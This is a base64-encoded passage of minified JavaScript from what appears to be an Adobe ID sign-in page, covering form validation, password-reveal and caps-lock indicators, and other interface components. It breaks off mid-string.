c3RhbmNlb2YgRG9jdW1lbnRUb3VjaDtiLmZuLnF1aWNrQ2hhbmdlPWZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtmdW5jdGlvbiBrKCl7bS5zZWxlY3RlZEluZGV4IT09bS5xY2luZGV4JiYobS5xY2luZGV4PW0uc2VsZWN0ZWRJbmRleCxlLmFwcGx5KG0pKX12YXIgbT10aGlzLG47bS5xY2luZGV4PW0uc2VsZWN0ZWRJbmRleDtiKG0pLmZvY3VzKGZ1bmN0aW9uKCl7ZiYmKG49c2V0SW50ZXJ2YWwoaywNCjEwMCkpfSkuYmx1cihmdW5jdGlvbigpe2YmJndpbmRvdy5jbGVhckludGVydmFsKG4pfSkuY2hhbmdlKGspfSl9O2IoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7YigiI21vbnRoIikucXVpY2tDaGFuZ2UoZnVuY3Rpb24oKXtlKCl9KTtiKCIjeWVhciIpLnF1aWNrQ2hhbmdlKGZ1bmN0aW9uKCl7ZSgpfSl9KX0pKGpRdWVyeSk7DQooZnVuY3Rpb24oYil7dmFyIGU9Yi5JTVN8fHt9O2Uuc2V0dXBfdG9zX3BvbGljeT1mdW5jdGlvbihiKXtmdW5jdGlvbiBlKGIsZil7cmV0dXJuIGZ1bmN0aW9uKGUpe3JldHVybiBmfHwtMSE9PSQuaW5BcnJheShlLG1bYl0pPyhuLmh0bWwoJCgiI3RvdV8iK2IrIl90ZW1wbGF0ZSIpLmh0bWwoKSksITApOiExfX1iPWIucmVwbGFjZSgvICsvZywiIikuc3BsaXQoIjsiKTt2YXIgayxtPXtsaWdodDpbXSxtZWRpdW06W10saGVhdnk6W119LG49JCgiI3Rvc19wb2xpY3kiKSx3LHoseCxWLFQsTTt6PWUoImxpZ2h0Iik7eD1lKCJtZWRpdW0iKTtWPWUoImhlYXZ5Iik7dz1lKCJoZWF2eSIsITApO2ZvcihNPTA7TTxiLmxlbmd0aDtNKz0xKWs9YltNXS5zcGxpdCgiOiIpLFQ9a1swXSxrPWtbMV0uc3BsaXQoIiwiKSxtW1RdPWssIkFMTCI9PT1rWzBdJiYodz1lKFQsITApKTskKCIjY291bnRyeSIpLmNoYW5nZShmdW5jdGlvbihiKXtiPSQodGhpcykudmFsKCk7eihiKXx8eChiKXx8VihiKXx8DQp3KGIpfSl9O2IuSU1TPWV9KSh3aW5kb3cpOyhmdW5jdGlvbihiKXtiPWIuSU1TPWIuSU1TfHx7fTtiLmFwcGx5X2ZvY3VzX2NsYXNzPWZ1bmN0aW9uKGIsZil7Zj1mfHwiYWN0aXZlIjtyZXR1cm4gZnVuY3Rpb24oZyxrKXt2YXIgbT0kKGspO20uZmluZChiKS5vbigiZm9jdXMiLGZ1bmN0aW9uKGIpe20uYWRkQ2xhc3MoZil9KTttLmZpbmQoYikub24oImZvY3Vzb3V0IixmdW5jdGlvbihiKXttLnJlbW92ZUNsYXNzKGYpfSk7Y29uc29sZS5sb2coayl9fTtyZXR1cm4gYn0pKHdpbmRvdyk7InVzZSBzdHJpY3QiOw0KJC52YWxpZGF0b3Iuc2V0RGVmYXVsdHMoe29uZm9jdXNvdXQ6ITEsdW5oaWdobGlnaHQ6ZnVuY3Rpb24oYixlLGYpeyQoYikucmVtb3ZlQ2xhc3MoZSk7dmFyIGc7KGc9Z2V0RW5oYW5jZWREcm9wZG93blBhcmVudChiKSkmJmcucmVtb3ZlQ2xhc3MoZSk7Yj0kKGIpLmF0dHIoImRhdGEtdmFsaWRhdG9yR3JvdXAiKTtpZigwPCQoIltkYXRhLXZhbGlkYXRvckdyb3VwXHgzZCciK2IrIiddLiIrZSkuc2l6ZSgpKXt2YXIgaz0kKCJsYWJlbFtmb3JceDNkIitiKyJdIilbMF07dGhpcy50b0hpZGU9JCgkLmdyZXAodGhpcy50b0hpZGUsZnVuY3Rpb24oYil7cmV0dXJuIGIhPT1rfSkpfX0saW52YWxpZEhhbmRsZXI6ZnVuY3Rpb24oYixlKXskKCIuZXJyb3IuYmFja2VuZCIpLnJlbW92ZSgpfSxoaWdobGlnaHQ6ZnVuY3Rpb24oYixlLGYpeyQoImlucHV0LnBsYWNlaG9sZGVyIikuYWRkQ2xhc3MoZSk7JChiKS5hZGRDbGFzcyhlKTtpZigiU0VMRUNUIj09JChiKS5wcm9wKCJ0YWdOYW1lIikpJChiKS5vbigiY2hhbmdlIiwNCmZ1bmN0aW9uKCl7JCh0aGlzKS52YWxpZCgpfSk7dmFyIGc7KGc9Z2V0RW5oYW5jZWREcm9wZG93blBhcmVudChiKSkmJmcuYWRkQ2xhc3MoZSl9fSk7ZnVuY3Rpb24gZ2V0VmFsaWRhdG9yR3JvdXBzKGIpe3ZhciBlPXt9OyQoIltkYXRhLXZhbGlkYXRvckdyb3VwXSIsYikuZWFjaChmdW5jdGlvbihmLGcpe3ZhciBrPSQoZykuYXR0cigiZGF0YS12YWxpZGF0b3JHcm91cCIpO2lmKCFlW2tdKXt2YXIgbT0iIjskKCJbZGF0YS12YWxpZGF0b3JHcm91cFx4M2QnIitrKyInXSIsYikuZWFjaChmdW5jdGlvbihiLGUpe20rPSQoZSkuYXR0cigibmFtZSIpKyIgIn0pO2Vba109bX19KTtyZXR1cm4gZX1mdW5jdGlvbiBnZXRFbmhhbmNlZERyb3Bkb3duUGFyZW50KGIpe2I9JChiKS5jbG9zZXN0KCIuc2VsZWN0LWJveCIpO3JldHVybiAwPGIuc2l6ZSgpP2I6bnVsbH0NCiQudmFsaWRhdG9yLnByb3RvdHlwZS5mb3JtYXRBbmRBZGQ9ZnVuY3Rpb24oYixlKXt2YXIgZj10aGlzLmRlZmF1bHRNZXNzYWdlKGIsZS5tZXRob2QpLGc9L1wkP1x7KFxkKylcfS9nOyJmdW5jdGlvbiI9PT10eXBlb2YgZj9mPWYuY2FsbCh0aGlzLGUucGFyYW1ldGVycyxiKTpnLnRlc3QoZikmJihmPSQudmFsaWRhdG9yLmZvcm1hdChmLnJlcGxhY2UoZywieyQxfSIpLGUucGFyYW1ldGVycykpO3RoaXMuZXJyb3JMaXN0LnB1c2goe3J1bGU6ZS5tZXRob2QsbWVzc2FnZTpmLGVsZW1lbnQ6Yn0pO3RoaXMuZXJyb3JNYXBbYi5uYW1lXT1mO3RoaXMuc3VibWl0dGVkW2IubmFtZV09Zn07DQp2YXIgY29tcG9uZW50cz17aW5pdDpmdW5jdGlvbigpeyQoIltkYXRhLWNvbXBvbmVudF0iKS5lYWNoKGZ1bmN0aW9uKGIsZSl7JCgkKGUpLmRhdGEoImNvbXBvbmVudCIpLnNwbGl0KCIgIikpLmVhY2goZnVuY3Rpb24oYixnKXtjb21wb25lbnRzW2ddJiYoY29tcG9uZW50cy5lbGVtZW50X25hbWU9JChlKS5hdHRyKCJuYW1lIiksY29tcG9uZW50c1tnXS5pbml0KGUpKX0pfSl9LHV0aWxzOnt3cmFwOmZ1bmN0aW9uKGIpe2lmKDA9PSQoYikuY2xvc2VzdCgiLmNvbXBvbmVudC13cmFwcGVyIikuc2l6ZSgpKXt2YXIgZT1qUXVlcnkoJ1x4M2NzcGFuIGNsYXNzXHgzZCJjb21wb25lbnQtd3JhcHBlciIgZm9yXHgzZCInK2NvbXBvbmVudHMuZWxlbWVudF9uYW1lKyciL1x4M2UnKTskKGIpLndyYXAoZSk7JChiKS5iaW5kKCJmb2N1cyIsZnVuY3Rpb24oKXskKHRoaXMpLmNsb3Nlc3QoIi5jb21wb25lbnQtd3JhcHBlciIpLmFkZENsYXNzKCJmb2N1c2VkIil9KTskKGIpLmJpbmQoImJsdXIiLA0KZnVuY3Rpb24oKXskKHRoaXMpLmNsb3Nlc3QoIi5jb21wb25lbnQtd3JhcHBlciIpLnJlbW92ZUNsYXNzKCJmb2N1c2VkIil9KX19LGlzTW9iaWxlQnJvd3NlcjpmdW5jdGlvbigpe3JldHVybiAwPCQoImh0bWwubW9iaWxlIikubGVuZ3RoPyEwOiExfX19OyQoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCl7Y29tcG9uZW50cy5pbml0KCl9KTsNCiQuZXh0ZW5kKCEwLGNvbXBvbmVudHMse3NlbGVjdGJveDp7aW5pdDpmdW5jdGlvbihiKXszPj1wYXJzZUludChjb21wb25lbnRzLnV0aWxzLmdldEFuZHJvaWRWZXJzaW9uKCkpJiYkKGIpLmFkZENsYXNzKCJuZWVkc2NsaWNrIik7Y29tcG9uZW50cy51dGlscy53cmFwKGIpOyQoYikud3JhcCgnXHgzY2RpdiBjbGFzc1x4M2Qic2VsZWN0LWJveCIgZm9yXHgzZCInK2NvbXBvbmVudHMuZWxlbWVudF9uYW1lKyciL1x4M2UnKTt2YXIgZT0kKCdceDNjc3BhbiBjbGFzc1x4M2QidG9nZ2xlciIvXHgzZScpOyQoIlx4M2NpL1x4M2UiKS5hcHBlbmRUbyhlKTtlLmFwcGVuZFRvKCIuc2VsZWN0LWJveFtmb3JceDNkIitjb21wb25lbnRzLmVsZW1lbnRfbmFtZSsiXSIpOyQoYikuYmluZCgiZm9jdXMiLGZ1bmN0aW9uKCl7JCh0aGlzKS5jbG9zZXN0KCIuc2VsZWN0LWJveCIpLmFkZENsYXNzKCJhY3RpdmUiKX0pOyQoYikuYmluZCgiYmx1ciIsZnVuY3Rpb24oKXskKHRoaXMpLmNsb3Nlc3QoIi5zZWxlY3QtYm94IikucmVtb3ZlQ2xhc3MoImFjdGl2ZSIpfSl9fSwNCnV0aWxzOntnZXRBbmRyb2lkVmVyc2lvbjpmdW5jdGlvbihiKXtiPWJ8fG5hdmlnYXRvci51c2VyQWdlbnQ7cmV0dXJuKGI9Yi5tYXRjaCgvQW5kcm9pZFxzKFswLTlcLl0qKS8pKT9iWzFdOiExfX19KTskLmV4dGVuZCghMCxjb21wb25lbnRzLHt0b2dnbGVyOntpbml0OmZ1bmN0aW9uKGIpeyQoYikuYmluZCgiY2xpY2siLGZ1bmN0aW9uKGUpeyQoYikuYXR0cigiaHJlZiIpPyhlLnByZXZlbnREZWZhdWx0KCksJCgkKGIpLmF0dHIoImhyZWYiKSkudG9nZ2xlKCkpOiQoYikuYXR0cigiZGF0YS10b2dnbGUiKSYmJCgkKGIpLmF0dHIoImRhdGEtdG9nZ2xlIikpLnRvZ2dsZSgpfSl9fX0pOw0KJC5leHRlbmQoITAsY29tcG9uZW50cyx7cGFzc3dvcmRyZXZlYWxlcjp7aW5pdDpmdW5jdGlvbihiKXtpZihjb21wb25lbnRzLnV0aWxzLnN1cHBvcnRzVHlwZUNoYW5nZShiKSYmY29tcG9uZW50cy51dGlscy5pc01vYmlsZUJyb3dzZXIoKSl7Y29tcG9uZW50cy51dGlscy53cmFwKGIpO3ZhciBlPSQoJ1x4M2NzcGFuIGNsYXNzXHgzZCJwYXNzd29yZC1yZXZlYWxlciBvZmYiL1x4M2UnKTtlLm9uKCJjbGljayIsZnVuY3Rpb24oKXtjb21wb25lbnRzLnV0aWxzLnRvZ2dsZVJldmVhbFBhc3N3b3JkKGIpfSk7JChiKS5vbigia2V5dXAiLGZ1bmN0aW9uKCl7JChiKS52YWwoKT9lLmFkZENsYXNzKCJlbmFibGVkIik6ZS5yZW1vdmVDbGFzcygiZW5hYmxlZCIpfSk7JChiKS5vbigiZm9jdXMga2V5dXAiLGZ1bmN0aW9uKCl7ZS5jc3MoeyJiYWNrZ3JvdW5kLWNvbG9yIjokKGIpLmNzcygiYmFja2dyb3VuZC1jb2xvciIpfSl9KTt2YXIgZjskKGRvY3VtZW50KS5tb3VzZWRvd24oZnVuY3Rpb24oYil7Zj0NCiQoYi50YXJnZXQpfSk7JChiKS5vbigiYmx1ciIsZnVuY3Rpb24oKXtmLmhhc0NsYXNzKCJwYXNzd29yZC1yZXZlYWxlciIpPygkKGIpLmNsb3Nlc3QoIi5jb21wb25lbnQtd3JhcHBlciIpLmFkZENsYXNzKCJyZXZlYWxlcl9jbGlja2VkIiksJChiKS5mb2N1cygpKTokKGIpLmNsb3Nlc3QoIi5jb21wb25lbnQtd3JhcHBlciIpLnJlbW92ZUNsYXNzKCJyZXZlYWxlcl9jbGlja2VkIil9KTtlLmFwcGVuZFRvKCcuY29tcG9uZW50LXdyYXBwZXJbZm9yXHgzZCInK2NvbXBvbmVudHMuZWxlbWVudF9uYW1lKyciXScpfX19LHV0aWxzOnt0b2dnbGVSZXZlYWxQYXNzd29yZDpmdW5jdGlvbihiKXskKGIpLnNpYmxpbmdzKCIucGFzc3dvcmQtcmV2ZWFsZXIiKS50b2dnbGVDbGFzcygib24iKTsicGFzc3dvcmQiPT0kKGIpLmF0dHIoInR5cGUiKT8kKGIpLmF0dHIoInR5cGUiLCJ0ZXh0Iik6JChiKS5hdHRyKCJ0eXBlIiwicGFzc3dvcmQiKTskKGIpLmZvY3VzKCl9LHN1cHBvcnRzVHlwZUNoYW5nZTpmdW5jdGlvbihiKXt0cnl7JChiKS5hdHRyKCJ0eXBlIiwNCiJwYXNzd29yZCIpfWNhdGNoKGUpe3JldHVybiExfXJldHVybiEwfX19KTsNCiQuZXh0ZW5kKCEwLGNvbXBvbmVudHMse3Jlc3BvbnNpdmVfaW1hZ2U6e29wdGlvbnM6e3ByZWZpeGVzOnsiZGVmYXVsdCI6IjJ4XyIsIjF4IjoiMXhfIiwiMngiOiIyeF8iLCI0eCI6IjR4XyJ9LHJldGluYV9waXhlbHJhdGlvOjEuNSxwaG9uZV9tYXhfd2lkdGg6NDgwfSxpbml0OmZ1bmN0aW9uKGIpe3ZhciBlPSQoYikuYXR0cigic3JjIiksZj1lLnJlcGxhY2UoL1teXC9dKiQvLCIiKSxlPWUucmVwbGFjZSgvXi4qW1xcXC9dLywiIiksZz0iIixnPWNvbXBvbmVudHMudXRpbHMuaXNSZXRpbmEoKT9jb21wb25lbnRzLnV0aWxzLmlzUGhvbmUoKT90aGlzLm9wdGlvbnMucHJlZml4ZXNbIjJ4Il06dGhpcy5vcHRpb25zLnByZWZpeGVzWyI0eCJdOnRoaXMub3B0aW9ucy5wcmVmaXhlc1siMXgiXTtnIT10aGlzLm9wdGlvbnMucHJlZml4ZXNbImRlZmF1bHQiXSYmITE9PWNvbXBvbmVudHMudXRpbHMuZmlsZW5hbWVTdGFydHNXaXRoUHJlZml4KGUpJiYoZT1nK2UsJChiKS5hdHRyKCJzcmMiLA0KZitlKSl9fSx1dGlsczp7aXNSZXRpbmE6ZnVuY3Rpb24oKXtyZXR1cm4gd2luZG93LmRldmljZVBpeGVsUmF0aW8+Y29tcG9uZW50cy5yZXNwb25zaXZlX2ltYWdlLm9wdGlvbnMucmV0aW5hX3BpeGVscmF0aW99LGlzUGhvbmU6ZnVuY3Rpb24oKXtyZXR1cm4gJCh3aW5kb3cpLmlubmVyV2lkdGgoKTw9Y29tcG9uZW50cy5yZXNwb25zaXZlX2ltYWdlLm9wdGlvbnMucGhvbmVfbWF4X3dpZHRofSxmaWxlbmFtZVN0YXJ0c1dpdGhQcmVmaXg6ZnVuY3Rpb24oYil7dmFyIGU9ITE7JC5lYWNoKGNvbXBvbmVudHMucmVzcG9uc2l2ZV9pbWFnZS5vcHRpb25zLnByZWZpeGVzLGZ1bmN0aW9uKGYsZyl7aWYoMD09Yi5pbmRleE9mKGcpKXJldHVybiBlPSEwLCExfSk7cmV0dXJuIGV9fX0pOw0KJC5leHRlbmQoITAsY29tcG9uZW50cyx7c2luZ2xlc3VibWl0dGVyOntpbml0OmZ1bmN0aW9uKGIpe3ZhciBlPWNvbXBvbmVudHMudXRpbHMuY3JlYXRlT3ZlcmxheSgicmdiYSgyNTUsMjU1LDI1NSwwLjgpIixiKSxmPWNvbXBvbmVudHMudXRpbHMuY3JlYXRlU3Bpbm5lcigzMiwzMik7aWYoJChiKS5pcygiZm9ybSIpKSQoYikub24oInN1Ym1pdCIsZnVuY3Rpb24oKXtpZighJChiKS52YWxpZHx8JChiKS52YWxpZGF0ZSgpLmNoZWNrRm9ybSgpKWNvbXBvbmVudHMudXRpbHMuc2V0U3Bpbm5lclBvc2l0aW9uKGYsJCh3aW5kb3cpLndpZHRoKCkvMi0xNiwkKHdpbmRvdykuaGVpZ2h0KCkvNCksY29tcG9uZW50cy51dGlscy5zZXRPdmVybGF5U2l6ZShlKSxmLmFwcGVuZFRvKGUpLGUuYXBwZW5kVG8oImJvZHkiKX0pO2Vsc2UgJChiKS5vbigiY2xpY2siLGZ1bmN0aW9uKGIpezA9PWIuYnV0dG9uJiYoY29tcG9uZW50cy51dGlscy5zZXRTcGlubmVyUG9zaXRpb24oZiwkKHdpbmRvdykud2lkdGgoKS8NCjItMTYsJCh3aW5kb3cpLmhlaWdodCgpLzQpLGNvbXBvbmVudHMudXRpbHMuc2V0T3ZlcmxheVNpemUoZSksZi5hcHBlbmRUbyhlKSxlLmFwcGVuZFRvKCJib2R5IikpfSl9fSx1dGlsczp7Y3JlYXRlT3ZlcmxheTpmdW5jdGlvbihiLGUpe3ZhciBmPSQoJ1x4M2NkaXYgaWRceDNkInNwaW5uZXJfb3ZlcmxheSIvXHgzZScpOyQoZSkuYXR0cigiaWQiKSYmZi5hdHRyKCJkYXRhLW92ZXJsYXktdHJpZ2dlcmVkYnkiLCQoZSkuYXR0cigiaWQiKSk7Zi5jc3MoeyJiYWNrZ3JvdW5kLWNvbG9yIjpiLGZpbHRlcjoicHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LmdyYWRpZW50KEdyYWRpZW50VHlwZVx4M2QwLHN0YXJ0Q29sb3JzdHJceDNkJyM5ZGZmZmZmZicsIGVuZENvbG9yc3RyXHgzZCcjNGNmZmZmZmYnKSIscG9zaXRpb246ImZpeGVkIiwiei1pbmRleCI6MUU0LHRvcDowLGxlZnQ6MH0pO3JldHVybiBmfSxjcmVhdGVTcGlubmVyOmZ1bmN0aW9uKGIsZSl7dmFyIGY9JCgnXHgzY2ltZyBzcmNceDNkIi9yZW5nYS1pZHByb3ZpZGVyL3Jlc291cmNlcy93ZWJfdjIvaW1nL3NxdWFyZXNwaW5uZXJfMnguZ2lmIiB3aWR0aFx4M2QiJysNCmIrJyIgaGVpZ2h0XHgzZCInK2UrJyIvXHgzZScpO2YuY3NzKHtwb3NpdGlvbjoiYWJzb2x1dGUiLCJ6LWluZGV4IjoyRTR9KTtyZXR1cm4gZn0sc2V0T3ZlcmxheVNpemU6ZnVuY3Rpb24oYil7Yi5jc3Moe3dpZHRoOiQod2luZG93KS53aWR0aCgpLGhlaWdodDokKHdpbmRvdykuaGVpZ2h0KCl9KX0sc2V0U3Bpbm5lclBvc2l0aW9uOmZ1bmN0aW9uKGIsZSxmKXtiLmNzcyh7bGVmdDplLHRvcDpmfSl9fX0pO3RyeXskKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpezA9PSQoImh0bWwubW9iaWxlLGh0bWwuYWlyIikuc2l6ZSgpJiYkKCdpbnB1dFt2YWx1ZVx4M2QiIl06dmlzaWJsZScpLmZpcnN0KCkuZm9jdXMoKTskKCJsYWJlbCBhW2hyZWZdIikub24oImNsaWNrIixmdW5jdGlvbihiKXtiLnByZXZlbnREZWZhdWx0KCk7Il9ibGFuayI9PT10aGlzLmdldEF0dHJpYnV0ZSgidGFyZ2V0Iik/d2luZG93Lm9wZW4odGhpcy5ocmVmLCJfYmxhbmsiKTp3aW5kb3cubG9jYXRpb249dGhpcy5ocmVmfSl9KX1jYXRjaChlJCQ0OTIpe30NCnZhciBfbm93PURhdGUubm93fHxmdW5jdGlvbigpe3JldHVybihuZXcgRGF0ZSkuZ2V0VGltZSgpfTtmdW5jdGlvbiBkZWJvdW5jZShiLGUsZil7dmFyIGcsayxtLG4sdyx6PWZ1bmN0aW9uKCl7dmFyIHg9X25vdygpLW47eDxlP2c9c2V0VGltZW91dCh6LGUteCk6KGc9bnVsbCxmfHwodz1iLmFwcGx5KG0sayksbT1rPW51bGwpKX07cmV0dXJuIGZ1bmN0aW9uKCl7bT10aGlzO2s9YXJndW1lbnRzO249X25vdygpO3ZhciB4PWYmJiFnO2d8fChnPXNldFRpbWVvdXQoeixlKSk7eCYmKHc9Yi5hcHBseShtLGspLG09az1udWxsKTtyZXR1cm4gd319JChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXskKCJpbnB1dCx0ZXh0YXJlYSIpLnBsYWNlaG9sZGVyKCl9KTs8L3NjcmlwdD4NCiAgICAgICAgICAgICAgICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAkKGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHZhbGlkYXRvciA9ICQoIiNzaWduaW4iKS52YWxpZGF0ZSh7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlnbm9yZTpbXSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcnVsZXM6IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVzZXJuYW1lOiB7cmVxdWlyZWQ6IHRydWUsIGVtYWlsOiB0cnVlLG1heGxlbmd0aDo2MH0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzd29yZDoge3JlcXVpcmVkOnRydWV9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1lc3NhZ2VzOiB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1c2VybmFtZTogew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlcXVpcmVkOiJFbnRlciB5b3VyIGVtYWlsIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtYXhsZW5ndGg6IkEgbWF4aW11bSBvZiA2MCBjaGFyYWN0ZXJzIGFyZSBhbGxvd2VkIGZvciB0aGUgQWRvYmUgSUQuIg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhc3N3b3JkOiAiRW50ZXIgeW91ciBwYXNzd29yZCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoJ2lucHV0W3R5cGU9ImhpZGRlbiJdI3JlbWVtYmVyX21lJykucmVtb3ZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgnI3JlbWVtYmVyX21lJykuY2xpY2soZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJCh0aGlzKS5pcygiOmNoZWNrZWQiKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgiI3JlbWVtYmVyX21lX3NkZXZpY2VzIikuY3NzKCd2aXNpYmlsaXR5JywgJ3Zpc2libGUnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQoIiNyZW1lbWJlcl9tZV9zZGV2aWNlcyIpLmNzcygndmlzaWJpbGl0eScsICdoaWRkZW4nKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0pOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJCgiI3VzZXJuYW1lIikuY2hhbmdlKGZ1bmN0aW9uICgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGhpcy52YWx1ZSA9ICQudHJpbSh0aGlzLnZhbHVlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgfSk7DQogICAgICAgICAgICAgICAgICAgICAgICANCi8vICAgICAgICAgICAgICAgICAgICAgICAgJCgiI3NpZ25pbiIpLnN1Ym1pdChyZXBvcnRfb21uaXR1cmUpOw0KDQogICAgICAgICAgICAgICAgICAgIDwvc2NyaXB0Pg0KDQogICAgICAgICAgICAgICAgICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAvKg0KDQoNCiBqUXVlcnkgY2Fwc2xvY2tzdGF0ZSBwbHVnaW4gdjEuMi4xDQogaHR0cHM6Ly9naXRodWIuY29tL25vc2lsbGVnL2NhcHNsb2Nrc3RhdGUtanF1ZXJ5LXBsdWdpbi8NCg0KIENvcHlyaWdodCAyMDEyIEphc29uIEVsbGlzb24NCiBSZWxlYXNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UNCiBodHRwczovL2dpdGh1Yi5jb20vbm9zaWxsZWcvY2Fwc2xvY2tzdGF0ZS1qcXVlcnktcGx1Z2luL2Jsb2IvbWFzdGVyL01JVC1MSUNFTlNFLnR4dA0KDQogRGF0ZTogU3VuIEZlYiAzIDIwMTMgMjE6MzQ6MDAgR01UDQoqLw0KKGZ1bmN0aW9uKGEpe3ZhciBiPSJ1bmtub3duIixmPXtpbml0OmZ1bmN0aW9uKGcpe2EuZXh0ZW5kKHt9LGcpO3ZhciBmPSEwPT09L01hY1BQQ3xNYWNJbnRlbC8udGVzdCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtKSxlPXtpc0NhcHNsb2NrT246ZnVuY3Rpb24oYyl7dmFyIGE9ITE7Yy5zaGlmdEtleT9hPWMuc2hpZnRLZXk6Yy5tb2RpZmllcnMmJihhPSEhKGMubW9kaWZpZXJzJjQpKTtjPVN0cmluZy5mcm9tQ2hhckNvZGUoYy53aGljaCk7Yy50b1VwcGVyQ2FzZSgpIT09Yy50b0xvd2VyQ2FzZSgpJiYoYy50b1VwcGVyQ2FzZSgpPT09Yz8hMD09PWYmJmF8fChiPSFhKTpjLnRvTG93ZXJDYXNlKCk9PT1jJiYoYj1hKSk7cmV0dXJuIGJ9LGlzQ2Fwc2xvY2tLZXk6ZnVuY3Rpb24oYSl7MjA9PT1hLndoaWNoJiYidW5rbm93biIhPT1iJiYoYj0hYik7cmV0dXJuIGJ9LGhhc1N0YXRlQ2hhbmdlOmZ1bmN0aW9uKGIsZCl7YiE9PWQmJihhKCJib2R5IikudHJpZ2dlcigiY2Fwc0NoYW5nZWQiKSwNCiEwPT09ZD9hKCJib2R5IikudHJpZ2dlcigiY2Fwc09uIik6ITE9PT1kP2EoImJvZHkiKS50cmlnZ2VyKCJjYXBzT2ZmIik6InVua25vd24iPT09ZCYmYSgiYm9keSIpLnRyaWdnZXIoImNhcHNVbmtub3duIikpfX07YSgiYm9keSIpLmJpbmQoImtleXByZXNzLmNhcHNsb2Nrc3RhdGUiLGZ1bmN0aW9uKGEpe3ZhciBkPWI7Yj1lLmlzQ2Fwc2xvY2tPbihhKTtlLmhhc1N0YXRlQ2hhbmdlKGQsYil9KTthKCJib2R5IikuYmluZCgia2V5ZG93bi5jYXBzbG9ja3N0YXRlIixmdW5jdGlvbihhKXt2YXIgZD1iO2I9ZS5pc0NhcHNsb2NrS2V5KGEpO2UuaGFzU3RhdGVDaGFuZ2UoZCxiKX0pO2Eod2luZG93KS5iaW5kKCJmb2N1cy5jYXBzbG9ja3N0YXRlIixmdW5jdGlvbigpe3ZhciBhPWI7Yj0idW5rbm93biI7ZS5oYXNTdGF0ZUNoYW5nZShhLGIpfSk7ZS5oYXNTdGF0ZUNoYW5nZShudWxsLCJ1bmtub3duIik7cmV0dXJuIHRoaXMuZWFjaChmdW5jdGlvbigpe30pfSxzdGF0ZTpmdW5jdGlvbigpe3JldHVybiBifSwNCmRlc3Ryb3k6ZnVuY3Rpb24oKXtyZXR1cm4gdGhpcy5lYWNoKGZ1bmN0aW9uKCl7YSgiYm9keSIpLnVuYmluZCgiLmNhcHNsb2Nrc3RhdGUiKTthKHdpbmRvdykudW5iaW5kKCIuY2Fwc2xvY2tzdGF0ZSIpfSl9fTtqUXVlcnkuZm4uY2Fwc2xvY2tzdGF0ZT1mdW5jdGlvbihiKXtpZihmW2JdKXJldHVybiBmW2JdLmFwcGx5KHRoaXMsQXJyYXkucHJvdG90eXBlLnNsaWNlLmNhbGwoYXJndW1lbnRzLDEpKTtpZigib2JqZWN0Ij09PXR5cGVvZiBifHwhYilyZXR1cm4gZi5pbml0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTthLmVycm9yKCJNZXRob2QgIitiKyIgZG9lcyBub3QgZXhpc3Qgb24galF1ZXJ5LmNhcHNsb2Nrc3RhdGUiKX19KShqUXVlcnkpOw0KJC5leHRlbmQoITAsY29tcG9uZW50cyx7Y2Fwc2luZGljYXRvcjp7aW5pdDpmdW5jdGlvbihhKXtpZighMT09Y29tcG9uZW50cy51dGlscy5pc01vYmlsZUJyb3dzZXIoKSl7Y29tcG9uZW50cy51dGlscy53cmFwKGEpO3ZhciBiPSQoJ1x4M2NzcGFuIGNsYXNzXHgzZCJjYXBzLWluZGljYXRvciIgdGl0bGVceDNkIkNBUFMgT04iL1x4M2UnKTskKGEpLm9uKCJmb2N1cyBrZXl1cCIsZnVuY3Rpb24oKXtiLmNzcyh7ImJhY2tncm91bmQtY29sb3IiOiQoYSkuY3NzKCJiYWNrZ3JvdW5kLWNvbG9yIil9KX0pO2IuYXBwZW5kVG8oJy5jb21wb25lbnQtd3JhcHBlcltmb3JceDNkIicrY29tcG9uZW50cy5lbGVtZW50X25hb